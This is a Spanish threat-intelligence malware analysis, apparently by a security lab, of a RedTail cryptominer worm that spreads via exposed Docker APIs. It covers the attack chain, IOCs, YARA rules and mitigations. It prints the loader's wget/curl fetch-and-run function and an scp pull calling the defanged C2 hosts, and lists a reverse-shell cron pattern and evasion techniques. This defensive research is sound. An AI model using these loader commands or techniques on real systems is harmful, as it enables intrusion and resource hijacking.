Dentro de una campaña de RedTail: autopropagación a través de APIs de Docker expuestas

TLP:CLEAR. Autorizado para difusión pública. Capturado por la red de sensores honeypot de Kinryū Labs. Los indicadores incluidos más abajo están neutralizados.

Resumen ejecutivo

• 2375API de Docker expuesta, la vía de entrada
• 4arquitecturas de CPU atacadas
• ~21sla intrusión completa del actor
• autopropagablecliente SSH integrado en el minero

Entre principios y mediados de junio de 2026, nuestra red de honeypots capturó un gusano que se propaga a través de APIs de Docker Engine expuestas a internet en TCP/2375 y que instala RedTail, un minero de Monero basado en XMRig que existe desde finales de 2023. El actor enumera los contenedores en ejecución a través de la API de Docker abierta, ejecuta comandos dentro de cada uno, implanta una clave privada SSH para persistencia y movimiento lateral, y después descarga un cargador multiarquitectura. El cargador instala un minero que incluye su propio cliente SSH para propagarse y un sniffer libpcap para localizar nuevos objetivos.

El payload es RedTail sin margen de duda. RedTail se conoce sobre todo por llegar mediante exploits de aplicaciones web (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), y su uso de APIs de Docker expuestas también cuenta con informes previos. Este análisis aporta una instancia actual y capturada por completo de esa entrega vía API de Docker: el C2 y los indicadores activos, la implantación de la clave SSH que permite al host autorreplicarse, y el script de eliminación de competidores que informes anteriores señalaban sin haberlo recuperado.

El minero lleva una configuración cifrada en tiempo de ejecución y no incrusta ninguna cartera, así que no podemos extraer una dirección de Monero de la muestra. Recuperarla exige una detonación en vivo con captura de red.

Cadena de ataque

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

Fase 1: acceso inicial a través de la API de Docker

El actor va detrás de instancias de Docker Engine que exponen la API REST sin autenticar en TCP/2375. Toda la secuencia del actor tomó unos 21 segundos:

1. GET /version y GET /containers/json para identificar el motor y enumerar los contenedores.
2. POST /containers/{id}/exec y después POST /exec/{id}/start contra cada contenedor en ejecución.
3. Un payload de shell dentro del contenedor que escribe la clave SSH del atacante y descarga el cargador.

Ese último paso es lo que convierte esto de un minero aislado en un gusano. Un host que se infecta y que además expone su propia API de Docker ejecutará la misma rutina de enumerar y ejecutar contra el siguiente grupo de víctimas.

Clave SSH implantada (persistencia y movimiento lateral)

Atributo	Valor
Tipo	Clave privada OpenSSH ed25519
Comentario	dlr@sftp
Huella SHA256 de la clave pública	SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Origen de descarga (canal SCP)	dlr@217.60.195[.]113

No publicamos la clave privada. Use la huella anterior para buscarla: revise authorized_keys y ~/.ssh en todo su parque de sistemas.

Fase 2: el cargador /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Tipo: script de shell POSIX

Un cargador pequeño, portable y cuidadoso.

Nombre de archivo oculto y aleatorio. get_random_string() compone un nombre alfanumérico de 4 a 35 caracteres, probando /dev/urandom, luego openssl, luego $RANDOM, y recurriendo a la cadena literal redtail si todo eso falla. Ese valor de reserva es un indicio útil de la familia. El minero queda como .<random>, con un punto inicial para que no aparezca en un ls simple. VirusTotal tiene esta muestra bajo uno de esos nombres, .mn6VTucEsFZY1PdSC2QAq.

Función auxiliar de descarga. dlr() desactiva la verificación TLS, porque el C2 usa un certificado autofirmado, y pasa de wget a curl como alternativa:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

Preparación consciente de noexec. El cargador lee /proc/mounts, descarta todos los montajes noexec y ejecuta find / -user $(whoami) -perm -u=rwx para encontrar un sitio donde pueda escribir y ejecutar a la vez. Prueba la escritura en cada candidato con un dd o truncate de 2 MB antes de usarlo, lo que es más trabajo del que se toman la mayoría de los cargadores: lo habitual es escribir en /tmp y confiar en la suerte.

Limpieza de competidores. Descarga y ejecuta clean (dlr clean; chmod +x clean; sh clean; rm -rf clean) y después lo borra. También conseguimos ese script y lo desglosamos más abajo. Va contra la persistencia y las áreas de preparación de los rivales, sin tocar los procesos en ejecución.

Orden y limpieza. Elimina .redtail y el archivo .<random> anterior antes de instalar el nuevo.

Selección de arquitectura. Un switch sobre uname -mp elige la compilación:

Coincidencia de ARCH	Descarga
x86_64 / amd64	x86_64
i[3456]86	i686
armv8 / aarch64	aarch64
armv7	arm7
desconocida	prueba las cuatro por fuerza bruta y ejecuta cada una

Ejecución. ./.<random> $1, pasando el $1 original del cargador, que RedTail trata como etiqueta de campaña o de vector.

El script clean de eliminación de competidores

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Tipo: script Bash (795 bytes)

Capturamos clean en un impacto posterior sobre los honeypots. Su única función es eliminar otro malware de la máquina para que RedTail la tenga para sí:

• Limpieza de cron. Para cada crontab de usuario (/var/spool/cron/crontabs/*), crontab del sistema (/etc/crontab, /etc/crontabs), directorio de drop-ins (/etc/cron.{hourly,daily,weekly,monthly,d}) y /etc/anacrontab, quita el bit de inmutabilidad con chattr -ia (el malware rival lo activa para proteger sus propias líneas de cron) y después borra toda línea que coincida con un patrón de reinfección:

  wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

  Eso arranca los mecanismos de descarga y las shells inversas de otros grupos sin tocar las entradas de cron legítimas.

• Eliminación de un rival concreto. Desactiva y detiene el servicio systemd c3pool_miner, un golpe directo al minero c3pool.

• Borrado del área de preparación. Vacía /tmp, /var/tmp y /dev/shm con rm -rf, eliminando los payloads de la competencia y el espacio temporal que comparten.

Dejar en paz los procesos en ejecución es una decisión de compromiso. Una matanza masiva libera la CPU de inmediato, pero es justo el tipo de evento que dispara alertas en un host monitorizado, mientras que quitar las líneas de cron y vaciar los directorios de preparación borra el mecanismo de reinfección del rival, de modo que el desalojo se mantiene tras el reinicio que en otro caso lo revertiría.

Fase 3: el minero RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Tamaño: 1,880,264 bytes (1.79 MB) Formato: ELF 64-bit LSB EXEC (enlazado estáticamente, non-PIE), x86-64, punto de entrada 0xaa9e18 Empaquetador: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 maliciosos, puntuación de la comunidad −60, primera detección ~2026-06-05 Etiquetas de amenaza: trojan.usblem26/abminer; familias usblem26 / abminer / gen3

Empaquetado y antianálisis

• UPX 5.02 con la cabecera intacta. upx -d lo desempaqueta sin problemas a un ELF enlazado estáticamente de unos 5 MB.
• Ejecución sin archivos. Los code insights de VirusTotal lo muestran usando memfd_create (syscall 0x13f) para ejecutar el payload directamente desde un descriptor de archivo anónimo en memoria, con reejecución vía /proc/self/exe y preparación en /dev/shm. Nada toca el disco, así que el antivirus basado en disco nunca llega a verlo.
• Suplantación del nombre del proceso (sets-process-name) para mezclarse con los procesos normales.
• Evasión de depuradores (detect-debug-environment). Los análisis públicos de RedTail describen autodepuración con ptrace y que el binario mata activamente GDB.
• Una nota sobre el antivirus del host. Microsoft Defender marca el ELF empaquetado como Trojan:Linux/Multiverze!rfn y bloquea su lectura desde disco, de modo que el triaje estático tiene que hacerse en una máquina aislada o en memoria.

Componentes confirmados (a partir de las cadenas de .rodata desempaquetadas)

Núcleo de minado XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, la pila de red que define a la familia

libredtail evbuffer_tls
Connection  keepalive  User-Agent

Un libevent personalizado más un cliente HTTP con TLS. La cadena libredtail evbuffer_tls es lo que separa a RedTail de una compilación estándar de XMRig.

Cliente SSH integrado (movimiento lateral y robo de credenciales)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

El minero lleva un cliente SSH completo. Ese es el motor detrás de la implantación de la clave dlr@sftp y de la propagación. El binario del minero gestiona por sí mismo el robo de credenciales y la propagación por SSH. Nada de eso reside en el dropper.

libpcap integrada (sniffing de red)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

Captura de paquetes en el propio host, lo que encaja con el descubrimiento local de hosts y credenciales.

Tablas de codificación. Aparecen tanto el alfabeto Base64 estándar como el seguro para URL (...+/ y ...-_), usados por la rutina de decodificación de la configuración.

La configuración y el vacío de atribución

Buscamos a fondo en el binario desempaquetado IPs, URLs, stratum, pool y patrones de direcciones de Monero. Las únicas pools presentes son las de donación al desarrollador incluidas en XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), que trae toda compilación de XMRig y que el operador no controla. No hay ninguna pool, proxy ni cartera del atacante en texto claro.

Es deliberado, y coincide con la dirección que ha tomado RedTail desde 2024. La configuración de minado está cifrada y solo se descifra en memoria en tiempo de ejecución, y las compilaciones recientes no llevan ninguna cartera, lo que apunta en su lugar a una pool privada o a un pool-proxy. Por tanto:

• No podemos obtener una cartera de Monero de esta muestra.
• El pool-proxy solo se obtiene con una detonación en vivo y un sumidero de red (ver metodología).

Atribución

Se trata de RedTail, también conocido como el minero .redtail, un minero de Monero derivado de XMRig documentado por primera vez alrededor de finales de 2023 y principios de 2024. Lo que coincide:

• La cadena libredtail evbuffer_tls, que es exclusiva de él.
• El artefacto .redtail y el valor de reserva redtail en el cargador.
• La compilación con configuración cifrada y sin cartera, el cargador multiarquitectura, el script clean contra competidores y el robo de credenciales SSH, todos ellos rasgos conocidos de RedTail.

A modo de comparación, los vectores de entrega ya registrados para la familia son CVE-2024-3400 (PAN-OS), CVE-2023-46805 y CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) y CVE-2023-1389 (TP-Link). VirusTotal también etiqueta esta muestra con CVE-2021-41773 (Apache 2.4.49/2.4.50, path traversal a RCE) y CVE-2015-2808 (RC4, “Bar Mitzvah”).

El uso de APIs de Docker expuestas por parte de RedTail ya cuenta con informes previos, así que el vector en sí no es nuevo. Lo que quedaba flojo en esos informes anteriores es la parte media de la cadena, y ahí es donde se sitúa esta captura: el script clean recuperado en lugar de inferido, el C2 y los hashes del payload activos en el momento de la recolección, y la clave dlr@sftp implantada que cierra el círculo de vuelta a la Fase 1.

Perspectiva

Los grupos de cryptojacking cambian su forma de entrar mucho más a menudo que el payload, y el cargador modular de RedTail facilita sustituir un método de entrada por otro. Una API de Docker abierta es un cambio barato. No hay exploit que mantener ni ciclo de parches con el que competir, el acceso que concede es root dentro de cada contenedor de la máquina, y la oferta de puertos 2375 expuestos a internet no se ha agotado. RedTail ya ha estado aquí antes.

Creemos probable que el operador mantenga el vector de la API de Docker junto con los exploits web en lugar de cambiar uno por otro, lo que simplemente le da más hosts alcanzables. Si ejecuta contenedores, trate una API de Docker expuesta como si estuviera en la internet pública, porque en la práctica lo está.

Indicadores de compromiso

Red

Indicador	Contexto
14.46.136[.]77	Host de C2 y payload (HTTPS, autofirmado). Sirve /sh, /clean, /x86_64, /i686, /aarch64, /arm7. Filtra por ASN el tráfico procedente de proveedores de nube.
hxxps://14.46.136[.]77/sh	URL del cargador de la Fase 2
hxxps://14.46.136[.]77/clean	Script de eliminación de competidores (purga de cron y de áreas de preparación)
217.60.195[.]113	Origen de la clave y del payload por SCP (dlr@217.60.195[.]113)

Archivos (SHA256 / MD5)

Archivo	SHA256	MD5
sh (cargador)	03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf	0df4fe0f1e3e8b0941f0d1442f132700
clean (purga de competidores)	d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e	397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (minero)	59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5	aaa5098c9caafccf15362b017825c64b

Artefactos en el host

Indicador	Contexto
.redtail	Artefacto del minero / marcador de infección previa
.<random alnum>, p. ej. .mn6VTucEsFZY1PdSC2QAq	Nombre de archivo oculto del minero (punto inicial + aleatorio)
Comentario de clave SSH dlr@sftp	Clave implantada
FP de clave pública SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg	Huella de la clave implantada; búsquela en authorized_keys
Archivos preparados en /dev/shm, /var/tmp, /tmp o cualquier directorio rwx escribible por el usuario	Ubicaciones de preparación

Comportamiento

• memfd_create (syscall 0x13f) ejecutando un ELF desde un descriptor de archivo anónimo.
• Un proceso que lee /proc/mounts y después ejecuta find / -perm -u=rwx (preparación consciente de noexec).
• Suplantación del nombre del proceso; evasión de depuradores basada en ptrace.
• Tráfico saliente stratum+tcp:// / stratum+ssl:// hacia un host no estándar.
• systemctl disable c3pool_miner y systemctl stop c3pool_miner (desalojo de competidores).
• chattr -ia contra rutas de crontab seguido de inmediato por el borrado masivo de líneas con wget / curl / shells inversas en cron.
• rm -rf de /tmp/*, /var/tmp/* y /dev/shm/* (borrado del área de preparación de la competencia).

Detección

Detección en el host (lógica de procesos / EDR)

Alerte sobre un proceso que, en secuencia:

1. lee /proc/mounts, después ejecuta find / ... -perm -u=rwx ..., y
2. escribe en un directorio escribible por todos un archivo de nombre aleatorio con punto inicial, y
3. llama a memfd_create y a continuación ejecuta desde el descriptor de archivo resultante.

Cada uno de estos por separado es una señal débil. Los tres juntos son una señal fuerte de este cargador.

YARA candidata (binario desempaquetado)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

Esta regla coincide con el binario desempaquetado con UPX. Para la muestra empaquetada, pivote sobre la firma de UPX, el tamaño del archivo (~1.79 MB) y los hashes de VirusTotal indicados arriba.

Detección en red

• Bloquee y alerte sobre el tráfico saliente hacia 14.46.136[.]77 y 217.60.195[.]113.
• Alerte sobre stratum+tcp / stratum+ssl hacia cualquier destino no incluido en la lista de permitidos.
• Alerte sobre peticiones GET HTTP(S) a rutas de una sola letra o con nombre de arquitectura (/sh, /x86_64, /aarch64, /arm7).

Mitigación

1. No exponga la API de Docker (2375/2376) a redes no confiables. Enlácela a localhost o a un socket protegido y exija autenticación TLS con certificado de cliente. Ese único control rompe de plano el paso de acceso inicial.
2. Audite ~/.ssh/authorized_keys en todo el parque en busca de la clave dlr@sftp y de su huella.
3. Filtre la salida y monitorice el tráfico stratum y las IPs de C2 indicadas arriba.
4. Monte /tmp, /var/tmp y /dev/shm con noexec donde pueda. Eleva el listón, aunque este cargador es consciente de noexec y saldrá a buscar otro directorio escribible y ejecutable.
5. Endurezca los contenedores: elimine las capabilities que no necesite, use sistemas de archivos raíz de solo lectura y aplique el mínimo privilegio, de forma que un exec dentro del contenedor no entregue al atacante un entorno de ejecución utilizable.

Correlación con MITRE ATT&CK

Táctica	Técnica
Acceso inicial	T1190 Explotación de aplicación de cara al público (API de Docker)
Ejecución	T1609 Comando de administración de contenedores; T1059.004 Shell de Unix
Persistencia	T1098.004 Claves SSH autorizadas
Evasión de defensas	T1027.002 Empaquetado de software (UPX); T1620 Carga reflexiva de código en memoria (memfd_create); T1564.001 Archivos ocultos; T1036.004 Suplantación de nombre de tarea o proceso; T1622 Evasión de depuradores; T1070.004 Borrado de archivos
Acceso a credenciales	T1552.004 Claves privadas; T1040 Sniffing de red
Descubrimiento	T1046 Escaneo de servicios de red; T1082 Descubrimiento de información del sistema; T1057 Descubrimiento de procesos; T1018 Descubrimiento de sistemas remotos
Movimiento lateral	T1021.004 Servicios remotos: SSH; T1570 Transferencia lateral de herramientas
Comando y control	T1071.001 Protocolos web; T1573 Canal cifrado; T1105 Transferencia de herramientas de entrada
Impacto	T1496 Secuestro de recursos (criptominado)

Metodología y notas del analista

• Descargamos la Fase 2 y la Fase 3 del C2 activo por HTTPS. 14.46.136[.]77 da timeout para el espacio de direcciones de los grandes proveedores de nube pero sí sirve a rangos residenciales, lo que es un filtro de salida por ASN o geografía que rompe los sandboxes automatizados en la nube.
• El ELF empaquetado dispara Microsoft Defender (Trojan:Linux/Multiverze!rfn) y ni siquiera puede leerse desde disco en un host Windows protegido, así que el primer triaje se hizo en memoria, descomprimiendo el archivo dentro de un proceso de Python sin escribir nunca el ELF en bruto.
• El desempaquetado se hizo con upx -d en una FLARE-VM aislada. Analizamos el binario desempaquetado de forma estática, por cadenas y estructura, sin ejecutarlo.
• No ejecutamos el minero, así que el pool-proxy descifrado en tiempo de ejecución y la configuración de Monero no están en este informe.
• Recuperamos la clave privada del atacante a partir de la captura y no la publicamos. En los indicadores solo está la huella de la clave pública (arriba), que es lo que los defensores necesitan para buscar la clave dlr@sftp implantada en authorized_keys.

Seguimiento recomendado (para obtener el indicador del pool-proxy)

Para obtener el pool-proxy, detone el binario desempaquetado en una máquina Linux aislada (REMnux sirve) con:

• un sumidero de red (INetSim, o fakedns más un catch-all TCP) para provocar la conexión,
• tcpdump -i any -w redtail.pcap para capturar el CONNECT y el login de stratum, y
• strace -f para capturar la configuración en texto claro que el minero descifra justo antes de su primer connect(), que a menudo es legible incluso cuando TLS la oculta en la red.

Ese host y ese puerto son el último indicador que sigue pendiente en esta campaña.

Muestras

Las muestras (el cargador, el script clean y el minero empaquetado) están disponibles a petición para otros investigadores y defensores. Escriba a contact@kinryu.sh con una nota breve sobre quién es y para qué las necesita.